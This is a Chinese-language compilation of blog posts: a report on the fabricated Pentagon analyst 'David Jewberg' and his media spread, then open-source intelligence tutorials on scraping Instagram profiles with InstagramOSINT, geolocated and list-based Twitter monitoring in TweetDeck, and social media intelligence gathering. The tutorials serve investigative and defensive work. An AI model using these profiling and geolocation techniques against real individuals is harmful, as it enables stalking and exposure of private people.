北约和俄罗斯之间潜在的战争是 Gazeta.ua 文章的主题：“一旦与北约开战，俄罗斯将在10天内投降” —— 同样的引用使得 Jewberg 这个假人在2015年凭借 Obozrevatel 文章在乌克兰媒体领域获得了爆发性的突破。

Jewberg 在2016年10月6日的 Facebook 简介中承认了 Gazeta.ua 的采访：

> “我还不会说乌克兰语，但希望我用俄语进行的采访翻译是正确的。”

在他接受 Ponomarenko 的采访中，毫无疑问，David Jewberg 代表的是五角大楼发言人。

尽管他的一些陈述比大多数五角大楼官员所发现的更为离谱 —— 特别是“10天”的狂妄 —— David Jewberg 只是汇总了一下当时主流观点的摘要，关于西方对乌克兰和俄罗斯事件的共识。

在某些情况下可能过于乐观了。这个假人建议：

- 向乌克兰提供美国武器：“乌克兰需要在美国的帮助下建立能够控制致命武器的机制。”
- 关于军事改革：“乌克兰应该投资于培养各级军队的专业精神。”
- 关于俄罗斯侵略的意外后果：“通过入侵乌克兰，普京只是加强了北约在欧洲的影响力，摧毁了自己的经济并摧毁了俄罗斯。”
- 关于普京的战略：“不要指望在明斯克协议方面取得进展。”
- 关于克里米亚的未来：“一旦乌克兰繁荣，克里米亚将重回乌克兰的怀抱。”

虽然在采访的大部分时间里，David Jewberg 的观点都相当普通，但是，他对北约和俄罗斯之间的战争只能维持10天的宣称，成为了头条新闻，引起了乌克兰和后来俄罗斯众多媒体的关注。

具有讽刺意味的是，这个爆炸性的声明本来应该被忽视，因为它是 **Obozrevatel** 从涵盖的一年之久的 **Facebook** 帖子中挖出来的。

这足够证明媒体要的仅仅是“吸睛度”，而非事实。他们想要制造新闻，而不是报道新闻。

这次访谈获得了点击量的巨大成功，导致 Gazeta.ua 在接下来的日子里再次根据与 Jewberg 的访谈发布了其他几部分内容。

Ponomarenko 的采访引发了人们对假人 David Jewberg 页面的兴趣新高峰，特别是由于这个所谓的“五角大楼官员”显然透露美国对北约—俄罗斯潜在战争的快速结果采取了措施。

2016年10月13日，TSN.ua（乌克兰顶级电视网络网站）发布了自己的报道，名为“北约—俄罗斯战争：它将如何发生”。

这是在 TSN.ua 的博客部分下发表的，归功于“David Jewberg 美国国防部高级俄罗斯分析师”，这个假人现在在该网站上甚至有自己的作者页面。

这个 TSN 博客基本改编自 Jewberg 的 Facebook 帖子。

Gazeta.ua 采访和 TSN 博客文章在2016年10月引发了新一波乌克兰媒体的关注，包括：

- UNIAN（乌克兰主要信息机构）对 Jewberg 的观点发表了两篇文章：“俄罗斯—北约战争：五角大楼分析师预测它是什么样以及它将如何结束”；“五角大楼重视普京的前景，顿巴斯事件的可能情况”。
- Focus.ua 发表的文章是 “五角大楼对顿巴斯未来的预测”。
- 极受欢迎的 Segodnya.ua 日报在同一时间发表了两篇文章：“五角大楼为乌克兰武装部队提供了宝贵的建议”；“五角大楼解释了俄罗斯咄咄逼人的国际姿态”……
- 乌克兰深受欢迎的电视频道 ICTV 也在其网站的新闻中引用了这个假人 Jewberg，其中包括“俄罗斯在顿巴斯的失败：五角大楼提供的细节”、以及“美国谈克里姆林宫的期望”。

从这些头条新闻中可以清楚地看出，⚠这个故事不仅仅是一个受欢迎的 Facebook 袜子木偶对俄罗斯提出了有趣的看法，并且，是“五角大楼的一名官员”正在代表美国国防部发言。

“这是一次病毒性的信息战，” **Ponomarenko** 说：“媒体社区中没有

人可以证实或否认 **Jewberg** 是假的。

“乌克兰的媒体无法想象，有人能够长期假扮五角大楼官员的角色。”

随着不稳定的叙述加深，这个伪造的 “David Jewberg” 越来越暴露，但是，这种不稳定也变成了人气并得到了回应。

简单说，没人试图揭穿他。

克里姆林宫注意到了

对于反普京和爱国的美国人来说，**“David Jewberg”**只是那种被俄罗斯反对派中所渴望的美国人。

这个假人的声明也令乌克兰在线人群感到高兴，他们渴望获得内部人士的观点，希望能听到肯定美国及其军事思想在与俄罗斯及其代理人的持续战争中坚定不移的信念。

⚠上面这段话中两个黑体部分就是关于人们为什么会被欺骗的关键 —— 因为想要。

就如我们在“战略性欺骗”系列中分析过的：有效的欺骗源于被欺骗者的自欺。

然而，这个假人也得到了俄罗斯的钟爱 —— “他”的存在对于克里姆林宫反美宣传来说简直是送上门的大礼：恰好证明了长期噱头之五角大楼的好战形象。

俄罗斯记者和他们的读者在乌克兰出版的同时看到了 Jewberg 对乌克兰媒体的评论的一个例子，可以在 Regnum.ru 文章中看到（“五角大楼谈到北约对俄罗斯的战争—它将是针对激光枪对阵步枪的战争”），在这篇文章中，假人 Jewberg 被称为“美国”国防部高级分析师；对于 Jewberg 的身份或潜在的虚假证据没有表示任何怀疑。

然而，俄罗斯国防部的媒体机构 Zvezda 在其发布的《五角大楼计划在20天内消灭俄罗斯联邦并让北约管理它》一文中确实引起了对 Jewberg 的真实身份的疑虑，并表示“尚不知道 Jewberg 是否真的是五角大楼的一位官员。”

看起来俄罗斯国防部不那么傻。也不难理解这点，作为战略性欺骗对阵方的一员。俄罗斯国防部需要具有这样的警觉意识。

也许来自俄罗斯媒体最具影响力的报道应该是俄罗斯国家新闻服务部门 RIA Novosti ，由 Vladimir Bychkov 撰写。

这篇题为“美国准备对俄罗斯发起新的巴巴罗萨行动”的文章获得了近**50**万的点击量，这位评论家比较了 Jewberg 在 Gazeta.ua 的采访，其中假人提出了1941年希特勒袭击苏联的战争情景作为比喻。

Bychkov 对 Jewberg 的真实身份提出了温和的保留意见（“高级分析师……但谁知道是什么样的分析师……），但是，仍然对他声称的俄罗斯将在几周内落败北约的声明表示了热烈的回应。

第二天，Bychkov 在 RIA Novosti 发表了一篇名为 “Jewberg and Barbarossa” 的后续文章，“只是必要的澄清没有特别的理由”。

Bychkov 说他意识到，Jewberg 的身份可能是乌克兰媒体捏造的，但他提到这对他个人而言“并不重要”，因为“ 如果我们信任乌克兰媒体的话—Jewberg 的声明正是就目前在美国公开讨论的内容的精髓”。

俄罗斯极受欢迎的共青团真理报也对 Jewberg 的声明发表了一篇文章，标题为“美国将在20天内征服俄罗斯？ 这是真的！”

这篇文章的作者是俄罗斯著名军事分析家、俄罗斯军方的退役上校/发言人 Viktor Baranets。

在他的专栏文章中，Baranets 瞄准了 David Jewberg（“我们正在处理一个不值得信赖的人的可信度”）和乌克兰媒体（称 Gazeta.ua 为反俄罗斯谣言的垃圾箱），但没有羞于宣布 David Jewberg 是假的。

如上，Kseniya Kirillova 认为，俄罗斯媒体一直在设法有效地将**“David Jewberg”**用于自己的目的：

“俄罗斯的宣传正在受益于*[*来自 *Jewberg* 的激进声明。

虽然在 *Facebook* 上，他正在一个相对较小的观众群面前辩论俄罗斯，以获得一个小范围的净积极效应，但是，他的言论所造成的损害，一旦被主流媒体引述，就会突然变得更大……

俄罗斯宣传人员以相当高的杠杆率利用了他*[*这个假人*]*的言论指责美国对俄罗斯的侵略，并为俄罗斯自己的侵略性姿态做辩护。”

Jewberg 戏剧性的“辞职”

在2016年的选举季，David Jewberg 继续保持着他的大型 Facebook 存在并与读者分享他的“内幕专家故事”。

在2016年秋季，他在乌克兰和俄罗斯的媒体曝光高峰之前，他已经明确表示他不是唐纳德特朗普的粉丝。

例如，2016年7月，Jewberg 将特朗普获胜的前景等同于“灾难性事件”，可与“种族间战争”和“核爆炸”相提并论。

在特朗普竞选胜利后的第二天，这个假的“五角大楼官员”在 Facebook 上发表了一个声明，称他将从五角大楼辞职以抗议，并在社交网络上收集了超过一千个点赞。

下图中俄语的翻译是这样的：

“可怕。怎么会这样？？？真的有很多人准备推特朗普上台吗？我之前写过，如果特朗普当选，我就会辞职。我不能接受被这个人指挥。”

「图」

「图」

一天后，Jewberg 写道，他“提交了辞职信”，并评论说：“特朗普就是我所鄙视的一切”。

Jewberg 的反特朗普和以俄罗斯为重点的博客并未因他的所谓“辞职”而停止；

然而，在特朗普当选后，Jewberg 以所谓的“内幕人士”采取行动，并持续向读者展示美国媒体对特朗普政府的报道，重点关注正在进行的“俄罗斯门”烟雾弹。

尽管拥有超过 **25,000** 名 **Facebook** 粉丝，尽管在乌克兰和俄罗斯媒体上被广泛曝光，以及在特朗普当选后戏剧性地公开“辞职”，但是，**David Jewberg** 从来不是一个真正的人。

bellingcat 的调查联系了国务院（据称 Jewberg 工作过的地方）以及国防部（他据称在那里工作到2016年底，并且是美国陆军军官）。两边都说“没有这个人”。国务院甚至直接说，Jewberg 的在线活动是“虚构的”。

「图」

「图」

那五角大楼的这位所谓官员是怎么被创造出来的呢？

为什么会有这么多人为这个海市蜃楼埋单？

预告：本报告第二部分《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？》

—— 未完待续 —— 广告

原文

介绍一个很有前途的数据抓取工具：开源情报 - iYouPort

开源情报-每个人都可用的武器

快速了解目标人

「图」

「图」

这个抓取工具叫 InstagramOSINT。

InstagramOSINT 不仅仅是照片抓取工具。它有一些非常新的功能，它可以通过 Instagram API 获得其他信息，包括用户名、个人资料名称、个人简介、该帐户是否最近加入、是否已连接到 Facebook 帐户、以及该帐户是否经过验证。

很全面，可以帮您一次性深入了解目标人。测试显示效果很不错。NixIntel 介绍了这个工具的基本用法，在这里看到原文《Instagram OSINT – A Promising New Python Tool》。

安装

测试在使用 Python 3.6 的 Linux Mint 19.1 上安装并运行 InstagramOSINT。

在终端中，使用git进行安装，如下所示：

```
$ git clone https://github.com/sc1341/
InstagramOSINT
```

转到 InstagramOSINT 目录：

```
$ cd InstagramOSINT
```

然后只需将 Python 指向 main.py 脚本即可：

```
$ python main.py -h
```

这将显示帮助菜单，该菜单将告诉您当前的运行选项：

```
$ python main.py --username TARGET_USERNAME
```

首次使用

在非正式的曼联 Instagram 帐户@manutd 上进行测试（这不是官方帐户）。

「图」

「图」

查询帐户的语法如下：

```
python main.py --username manutd
```

该脚本将运行并首先获取所有图像。即使只在帐户上发布了13张图像，这也花了一段时间，InstagramOSINT 会获取图像的所有可用分辨率并将其保存到 InstagramOSINT 文件夹中。

「图」

「图」

帐户中的每个图像均保存在其自己的文件夹中。

除图像外，该工具还创建了两个文本文件。 Posts.txt 获取有关每个帖子的所有数据，data.txt 包含有关该帐户的很多信息。原始文本格式输出到终端：

「图」

「图」

以及作为原始文本文件：

「图」

「图」

这个很难直接进行读取和分析，但是可以在 "JSONViewer" 上轻松将其转换为精美的**JSON**格式。这是整理后的输出：

「图」

「图」

相当有用的小工具。随着时间的流逝，它的发展将会很有趣，值得关注。〇

《Instagram OSINT – A Promising New Python Tool》

原文

从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南 - iYouPort

开源情报-每个人都可用的武器

好玩的东西其实就在手边 —— 发觉它的巨大潜力！

「图」

「图」

我们介绍过一堆从社交媒体上挖掘情报的工具，详见《 *没有谷歌*的强大搜索世界 》；其中关于 twitter 的工具就有一大把。

但不是说您需要使用它们全部；事实上非常简单的常见工具就具有很好的挖掘能力，这其中最著名的就是 Tweetdeck。

很多人将 Tweetdeck 视为一个简单的推特桌面APP，“一个更漂亮的版本”，但是它绝对没有这么简单。

它的能力其实可以很强大。不论您是希望追踪热点话题、查找特定人物、还是挖掘目标人和组织的背景，它都能做到。

🌤本指南尝试总结一下 Tweetdeck 的能力，也许其中很多是您没想到的。（Tweetdeck 的用户量很大，想必推特不至于关闭它。f**k facebook ）

对于深度调查来说非常有用。**TweetDeck** 可以极大地简化和组织您的研究，同时允许您以更少的时间和精力收集更多的信息 。

调查人员经常处于一次打开五十多个选项卡的疯狂切换状态。而且，每当您想要更改搜索细节时，都必须重新开始。

如果存在一个平台，可以将所有这些搜索保留在一个地方，随意操作调配并保存，以便您可以在一天甚至一个月内检查相同的搜索，以跟进事件查看新出现的信息流，这该多方便呢。那么您等的就是

TweetDeck。

尤其是大型事件，比如抗议活动、选举、灾难、战争等等，调查人员和记者总是希望有一个“上帝视角”，能从最外层统揽全局；TweetDeck 就能做到。

在这里调查人员可以更轻松地实时收集重要信息、并对搜索进行排序，对其进行扩充、以查找更相关的内容并消除不可避免的噪音。

对于实时检测的预期来说，基本没有比 TweetDeck 更好的免费工具了。

⚠作为免责声明，请记住：在进行在线调查时要始终注意保护自己。

⚠虽然 Twitter 是查看信息的一种相当温和的方式，但是要知道， 如果你不小心，一次错误的点击就可以揭示你的真实身份。

请采取适当的警示措施，无论这对您和您的工作意味着什么。

本指南将从最简单的开始，就像从未使用过这个工具一样。然后逐渐变得更加复杂和深入。

换句话说，如果你认为自己是专家，请快进 —— 但也要记住，每个人都可以不时地使用基础知识。

「图」

「图」

基础知识：搜索列和过滤器

下载 TweetDeck 访问 www.tweetdeck.com 并使用您的 Twitter 账户登录即可开始 —— 调查人员建议使用单独的角色扮演账户， 具体做法详见这里 。

您可以创建的最基本的列是搜索列。

这本质上是一个关键字搜索 —— 过滤每秒种输入互联网的6,000条推文，包含您感兴趣的单词（或短语）的内容。

但是， 单独使用关键字通常不足以对存在的大量无关内容进行排序。

通过过滤搜索，您可以定位搜索工作，并收集更多的相关信息。

搜索栏上的过滤器包括（并不限于）：

- 按推文类型过滤：包含图片、视频、GIF等的推文；
- 按日期和时间过滤：您可以创建自己的日期范围，可以追溯到2010年！如果您想要寻找在一天中非常特定的小时范围内发送的推文，也可以这样做；
- 按照语种过滤推文；
- 包括或排除结果中的转推；
- 通过推文发布者的过滤：您可以筛选仅仅包含推荐的 Twitter 用户，列表成员、个人；
- 以及更多可能性！

「图」

「图」

这一功能是 TweetDeck 的支柱。

💡强烈建议您使用过滤器亲测它的潜力，通过实践掌握如何最好地操纵搜索。

Twitter Lists

什么是 Twitter Lists？

Twitter 列表是 Twitter 用户的汇编，将其视为 Twitter 上存在的源列表。

例如，如果您对华盛顿特区的新闻感兴趣，您可能会列出所有D.C.通讯员的名单。

然后，当华盛顿特区发生突发新闻事件时，您可以转到该列表内，这里只能看到来自其成员的推文。

这可以将注意力转入感兴趣的特定主题上，消除时间线上的任何杂音。

最重要的是， 您无需关注任何这些 **Twitter** 用户，即可将其添加到列表中 。（斯诺登最初注册推特时中文新闻使用的标题是“他只关注了一个账户NSA”。其实他不需要关注任何账户也能及时查看重要消

息。关于NSA是鄙视的姿态）

使用 Twitter Lists。您可以很容易将它们与 Twitter Feed 完全分开，并将内容分类。

⚠ 请注意这绝不是鼓励切断连接关系 ，而是说，作为调查者，您肯定会使用与身份完全无关的独立账户，而且您不希望任何人看一眼您的账户的关注者就能了解您的兴趣和意向。

这种时候 Twitter Lists 就很重要了。

创建自己的列表

列表会显示在用户的个人资料中。创建自己的列表，您创建的列表可以是公共列表或私有列表。如果将其公开，则添加到其中的某人将会收到通知。

如果设置为私人，除了你和所有推特工程师之外，没有人会知道它们存在。

虽然从头开始创建自己的列表是一项值得尊敬的任务，但是，有可能已经存在您想要寻找的列表（比如您可能不是唯一对华盛顿特区新闻感兴趣的人；或者对OSINT感兴趣，或者对猫咪……）。

💡 要查找这些列表，您有几个选择。

首先，你可以找到一个有信誉的新闻机构、记者或调查员。这些用户中的大多数人都会有大量的列表可供您查看；

或者你可以通过谷歌获得。在您的 Google 搜索栏中，输入 site：twitter.com / * / lists“LISTNAME”。

这会能显示各种公共 Twitter 列表，与您想要的主题相匹配。

然后，您可以单击这些结果中的任何一个，它将带您进入 Twitter 上的列表。

例如，如果您对与 NBA 篮球有关的名单感兴趣，就是下面这样：

「图」

「图」

好了。现在您有两个选项可以跟踪列表的内容。

1、您可以通过 Twitter 订阅列表，这将允许您在个人资料和 TweetDeck 上看到它；但是， 列表创建者将收到您已订阅的通知，并且您将无法操纵列表 （删除或添加用户等等）。

2、另一种选择是使用名为 Twitter List Copy 的工具。这个开源工具可以免费使用，并且很容易理解，无需多说。

但是，您需要登录 Twitter 才能使用它，这样一来 工具的创建者就可以访问您的帐户。

我认识的大多数研究人员都使用这个工具（ 除非 他们正在研究极其敏感和保密的东西）。请在这里做出自己的判断。

该工具对于我们许多人来说都是不可或缺的，因为它允许您将所有账户从某人的 Twitter 列表复制到您自己的列表中。

「图」

「图」

使用 Twitter List Copy 复制列表 不会通知列表的原始创建者；如果您将所有成员粘贴到您的私人列表中，这种操作也不会通知列表中的任何人 。

⚠这里要小心，如果您正在试图隐身状态下进行研究，请确保在将成员复制到其中之前，您自己的列表是私密的。

然后，因为结果列表是属于您的（从其他人那里借来的成员），您 可以 通过添加或删除其中的成员来操作和更改该列表。

将列表添加到 TweetDeck

好的，现在你有名单了！这对研究来说至关重要，因为这些人的推文很有可能包含您感兴趣并且可以信任的信息。

困难的部分结束了，现在您只需要在 TweetDeck 中添加一个列，它可以让您实时查看来自列表成员的推文。

转到 TweetDeck 的左侧，点击加号，然后从选项中选择“lists”。然后，选择您感兴趣的列表，就完成了！

「图」

「图」

与搜索列一样，您可以过滤这些结果，但是筛选选项比较少。

如果你想真正过滤来自列表的推文，我会推荐一个看似有点违反直觉的方法。

在 TweetDeck 上搜索列表

首先，要搜索列表并过滤 TweetDeck 上列表的结果，请不要浏览 list column。

相反，请浏览基本搜索列。

在基本搜索列中的过滤器选项 “Tweet Authors” 下，选择 “List of members …”，然后键入您感兴趣的列表，使用具体的格式，“@username / list-name”。

用户名是指拥有该列表的人，如果您正在尝试搜索自己的列表，请将您的ID放在那里。

不是只能搜自己哦。 您可以在此列中搜索任何人的列表。

您可以通过转到 Twitter 上的列表页面并复制网址末尾的内容，以您想要的确切格式找到列表名称。

就是下面这样：

「图」

「图」

「图」

「图」

按位置搜索

重要提示：有些人可能已经阅读过 Twitter 位置标记的最新更改。截至目前，以下详述的执行过程结果没有出现重大差异。

目前仍然可以进行这样的搜索。如果将来发生变化，我们会及时通知您。

位置搜索的基础知识

对于许多研究人员来说，使用 TweetDeck 最有用的方法之一就是单独按地理位置搜索推文。

⚠即使没有任何关键字，您也可以按照发送推文的地理位置过滤 Twitter，并及时收集有关某个区域的信息。

尤其是在大型群体事件、灾难和暴力的调查中，从一开始确认推文来自*真正的目击者*，可以帮助您省下很多时间。

要按位置搜索，请在 TweetDeck 上打开常规搜索。输入“geocode:coordinate,coordinate,Xkm”，其中“coordinate,coordinate”是您要搜索的位置，Xkm 是您要搜索的特定位置的半径范围。

⚠请注意，搜索项中的任何内容之间都没有空格，包括逗号和第一个经度坐标之间（当复制和粘贴坐标时，会自动存在一个需要手动删除的空格）。

「图」

「图」

查找要搜索的任何特定位置的坐标的最简单方法之一是访问 Google 地图，搜索您想要的位置，右键单击地图上的位置，然后点击“What’s here？”

坐标将显示在地图的底部，复制它们就可以了。

此方法适用于几乎所有位置，因在发送推文时会选择用户手机的位置设置。

如果用户启用了位置服务，就像大多数人做的那样，他们的推文将出现在此搜索中。

如果它不起作用并且 TweetDeck 告诉你“没有最近的推文”，⚠请仔细检查你是否输入了完全正确的格式，然后尝试扩大搜索范围。

您可能已经注意到搜索栏的过滤器选项中存在“位置”选项。

但是， 为了使用它，您需要考虑关键字，并且不能被动地监视特定位置的所有推文。

使用此“位置”过滤器选项，您还需要使用 Twitter 可识别的位置名称，例如大城市的名字。

它不适用于坐标，这对于对世界偏远地区感兴趣的研究人员更有用。

一般来说使用地理编码搜索技术就已经足够了，可以忽略此过滤器选项。

将位置搜索与更多功能结合起来

现在您已经拥有了地理编码搜索列，您的 TweetDeck 应该可以实时地从该区域获取所有推文。

这可能是压倒性的信息流，每隔几秒就有一条推文出现。

这里面也许有很多杂音，对您的研究并没有太大作用（即便是剧烈的突发事件现场也是如此）。

因此，除了位置搜索之外，您还需要 缩小搜索范围 ，以便仅查找与调查相关的结果。

由于地理编码搜索位于普通搜索列中，因此您可以使用所有常用搜索过滤器对其进行过滤，包括日期、列表成员、语言等等。

💡如果您没有找到能够连接所有推文的搜索关键词，这种方法会非常有用。

例如，如果您只是在一个区域中实时监控推文，过滤它们可能比使用必须存在于所有推文中的关键词搜索更有用。

「图」

「图」

但是，如果您确实考虑了特定的搜索词，那么该过程会非常简单。

只需在地理编码搜索的末尾添加单词，并在 **Xkm** 和搜索词之间添加空格即可。

例如这样：geocode:51.514666,-0.117235,1km “Brexit”，将返回伦敦经济学院1公里范围内的所有推文，其中都包含“Brexit”字样。

📢我建议你的半径选择更大一些，因为位置功能并不完美。

不过，即使半径扩大到1公里，下面搜索的结果也会显示在伦敦经济学院发生的事，因为坐标本身是准确的。

「图」

「图」

「图」

「图」

其他 Twitter 位置工具！

除了 TweetDeck 之外，还有其他有趣的 Twitter 定位工具，它们使用上面相同的搜索功能，但是，可以为您 可视化 结果数据。

其中一个工具是 http://qtrtweets.com/twitter/ 。此站点允许您输入位置的坐标并指定半径范围。

然后，它会在您选择的位置的地图上覆盖推文结果。

位置不一定完全正确，因为无法确定 Twitter 如何准确提取和传输。但是，这可能是一种 用可视化数据补充调查 的好办法。

可推荐的另一个工具是 https://onemilliontweetmap.com/ 。

这个工具类似的地方在于它也是覆盖地图，但是您 可以按照关键字而不是坐标来搜索数据库 ，然后可以放大地图上的某个位置以查看是否有任何带有该关键词的推文。

此工具还允许您 按时间范围进行过滤 （仅限最近20小时），而 qtrtweets 仅按时间顺序显示结果。

Onemilliontweetmap 还允许您在登录时保存搜索，如果您想要随时检查某些内容，这可能很有用。 比如跟进持续多日发展的事件 。

📢这两个工具都给您显示推文链接，这样您就可以在 Twitter 上找到

它们并存档或进一步调查。

建议将这些工具与 TweetDeck 上的地理编码搜索一起使用，以比较您的结果、并可视化您找到的内容。

通过 TweetDeck 搜索其他平台

对于一些众所周知更难搜索的社交媒体平台，例如 Instagram 和 Periscope，TweetDeck 也可以成为搜索和监控动态的有用工具。

⚠请注意，以下即将详细说明的方法仅在用户将 Twitter 与您要搜索的其他社交媒体配置文件配对时才有效。

例如，如果您想通过 Twitter 搜索某人的 Instagram，此人的设置必须设置为每次他们在 Instagram 上发布的位置，同时也在 Twitter 上发布。

对于能够成功配对的目标人，您可以搜索他们的 Instagram 说明文字和位置以及其他社交媒体网站上的发布。

推文将包含标题和帖子的链接，您可以进一步调查。

为此，请通过点击 TweetDeck 最左侧的加号并选择“Search”再次创建基本搜索列。

然后，在搜索栏中输入“ www.instagram.com ”，然后输入您想要的任何搜索关键词。

这将能够生成带有搜索关键词的 Instagram 帖子。这也适用于个人在 Instagram 上为自己标记的位置。

在 Twitter 上，如果某个位置标记在 Instagram 帖子上，则标题后面跟着“@ location”，其中 location 是他们标记的地点的名称。

因此，如果您使用位置名进行搜索，TweetDeck 将填充人们已经标记了该位置的 Instagram 帖子以及相同位置的其他内容。

⚠但是，请注意，这是自我报告的位置标记，因为 Instagram 允许您将任何位置放在任何照片上。在整个研究过程中请记住这一点。

简单说，即便您使用这种方法找到了目标，也无法成为证据 —— ⚠要想成为证据，您需要进一步的验证上述结论；元数据是做好的办

法，如果没有元数据，可以采取开源调查分析的办法，这里是一个演示《侦探挑战小游戏：Quiztime》

「图」

「图」

这种技术也适用于其他社交媒体平台。例如，将“www.pscp.com”替换 Instagram 的搜索，会为您提供来自 periscope 视频的链接。

更广泛地说，如果您想要链接到任何外部网站，都可以在搜索中键入“filter：links”。

这将能够呈现包含指向其他网站的任何推文。当然，您也可以为此添加其他搜索词。

比如下面这样：

「图」

「图」

组合起来制造适合您的方法

上面讨论的所有内容都可以组合在一起，以最大限度地提高您的搜索能力，并真正缩小搜索结果以满足您的需求。

例如，您可以通过将地理编码搜索和“www.instagram.com”放在搜索栏中，将位置搜索与 Instagram 搜索结合起来。

在这个例子中，坐标是伊斯坦布尔的一个区域，并且出现的许多 Instagram 结果都标记在 Instabul 附近：

「图」

「图」

「图」

「图」

通过此搜索，您将获得在伊斯坦布尔及周边地区人员发布的 Instagram 结果。

有些人还会在 Instagram 上标记他们的位置。

您可以单击 Instagram 链接，然后单击他们在 Instagram 上标记的位置以查看来自同一位置的其他帖子。

对于一些人来说，他们只会将他们的位置标记为伊斯坦布尔。但是，其他人会标记城市中的特定建筑物、公园或其他区域。

因此，通过点击 Instagram 帖子上的每个标签，您可以在 Instagram 上访问许多不同的位置搜索结果。

这可能看起来像是一种先进或复杂的技术，但是，在 TweetDeck 上尝试一下，你会发现它真的非常简单。

通过缩小位置搜索过滤，您可以得到更加具体的结果，仅包含由您的列表成员创作的推文的链接：

「图」

「图」

本文是有意在基本搜索栏中进行所有这些搜索的，您自己可以通过 **TweetDeck** 中的所有其他过滤器进一步过滤它们 。

包括日期、推文中包含的媒体、语种等等：

「图」

「图」

试试吧！要有创意

在阅读本指南时，您可能已经注意到了 TweetDeck 的模式，并想到了将其用于研究的新方法。很想听听您的见解。

享受这个工具的乐趣，并尝试找到新方法，让它更加适合你！ 实践是最好的教程。

如果本指南引导您进行了精彩的 TweetDeck 调查，可以把您的调查报告发送给我们，非常期待探讨。〇

原文

从跨平台跟踪到心理分析：社交媒体情报收集简易指南 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年9月23日存档】这是一套最简单的方法，任何人都可以使用，不论您是否具备相关基础

6月20日，我们转发了一套泄漏文件，来自匿名者的公布—— 涉及200多个警察部门及其他警察培训和支持机构的内部资料，跨度十年。被称为 “BlueLeaks”。

这套文件中显示，间谍部门一直在监视有关抗议活动的所有推文，并将其发送给当地警察。

这就是为什么警察能快速 “精准” 地抓捕抗议者。

- 《警察用哪些监视方式瞄准抗议者？》
- 《如何在监视时代参加抗议活动》

这种手段被全世界的警察部门和政府间谍所使用 ，它被称为 “社交媒体情报”，在这里看到具体介绍：《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》。

我们介绍过对抗性防御方法 ，见《社交媒体情报和反情报基本工具手册：自我人肉（2）》；

也介绍过使用社交媒体的安全须知，见《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》。

还有一份综合指南，《您在什么时候需要假名、匿名和公开在线身份？—在线创建和管理身份的思考方式》

以及 更多防御方法，见列表 -1，“技术防身” 栏目：https://start.me/p/xbYXdR/iyp-1

社交媒体情报是开源情报的重头戏，它以其低技术性和广泛的工具利用，成为大多数初学者的入门课—— 请注意，这其中包括政府间谍。

也就是说，政府间谍不需要投入太多的精力和资源，也可以掌握这种追踪侦查的方法。于是，你知道，它才是最危险的一种。

- 不要错过 《针对社交网络和在线社区的调查：开源情报思考方式（2）》

但社交媒体情报并非只有当权者能使用，公民调查人员也可以使用它来追踪调查政府主导的信息战、诈骗、网络攻击和任何一种突发事件。

- 这里是一个简易指南《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》

而我们对开源情报的介绍将侧重于安全防御 —— 帮您了解恶意者有可能怎么做，以便提前做好预防。

关于社交媒体情报，有很多书籍和资料介绍它，比如这里《社交网站上进行新闻收集和监视的基本指南》；本文来自 secjuice 的总结，是一个简单易懂的教程，任何人都可以使用。

社交媒体内容类型

「图」

人们出于不同目的与社交媒体网站进行交互。以下是不同社交媒体网站上使用的一般交互：# 发表/评论：人们访问社交网站以张贴或撰写其他用户可以看到的内容。这些帖子还可以包含用户的地理信息（在 Facebook 中，他们称此功能为 “Check in”）。

- 回复：可以是文本、也可以是图像、视频或URL，用于回复其他用户的帖子、更新状态或评论。
- 多媒体内容（图像和视频）：多媒体很流行，用户可以上传视频或图像作为帖子的一部分。许多社交平台允许其用户上传多个图像/视频以形成相册。在许多社交平台（例如 Facebook、Twitter 和 YouTube）也可以使用实时流。此功能允许用户广播实时视频并在其个人资料上显示录制内容，以供以后查看。
- 社交互动：这是社交媒体网站的本质，人们可以通过发送/响应

其他用户的请求以在线建立联系。
- 元数据：示例包括上传视频/图像的日期和时间、接受好友请求的日期和时间、上传的多媒体文件或帖子的地理位置数据（如果启用）、以及用于上传内容的设备类型（移动设备或标准计算机）。

1. 社交网络：让人们可以在线与其他人和企业（品牌）建立联系以共享信息和想法的地方。示例包括 Facebook 和 LinkedIn。

- 照片共享：此类网站专用于在线用户之间共享照片。示例包括： Instagram 和 Flicker。
- 视频共享：此类网站专用于共享视频，包括直播视频。最受欢迎的是 YouTube。请注意，Facebook 和 Twitter 也提供实时视频广播服务。
- 博客：这是一种信息网站，它包含一组帖子，并根据发布日期以降序排列。最受欢迎的博客平台是 WordPress 和 Blogger，它们由 Google 提供支持。
- 微博客：用户可以发布短文本段落（可以与图像或视频相关联）或链接，以便与其他在线受众共享。 Twitter 是最受欢迎的示例。
- 论坛（留言板）：这是最古老的社交媒体类型之一。用户以发布消息和答复的形式交换想法和讨论。 Reddit 就是一个例子。
- 社交游戏：指与不同位置的其他玩家在线玩游戏。最近它已经越来越流行。 KAMAGAMES 和 zynga 是这种类型的示例。
- 社交书签：这些网站提供的功能与网络浏览器的书签相似。但是，除了向您保存的书签添加注释之外，它们还允许您在线与朋友共享书签。示例包括 Atavi 和 Pinterest
- 产品/服务反馈：这些网站允许其用户反馈有关他们使用过的任何产品或服务的信息。示例 包括 Yelp 和 Angie’s List。

1. 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案》
2. 《如何快速找到你想要的东西：追踪数字证据的小技巧》

- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

1. 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
2. 《深挖推特：提供技巧、工具和平台》

- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全

面指南》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《如何可视化推特对话：极简小工具》
- 详见 “开源情报”

1. 《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》

- 《对特朗普推文的情感分析: Python 🐍》

1. 《角色扮演：行动者刚需》

- 以及一份综合性指南《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》

有一个在线服务（https://tone-analyzer-demo.mybluemix.net）可以提供免费的语言分析，以检测在诸如推文、电子邮件和 Facebook 消息等文本中发现的目标人情感。

总结

「图」

当下互联网时代，几乎很少有人不使用社交媒体、甚至大多数人拥有一个以上的社交媒体平台账户。

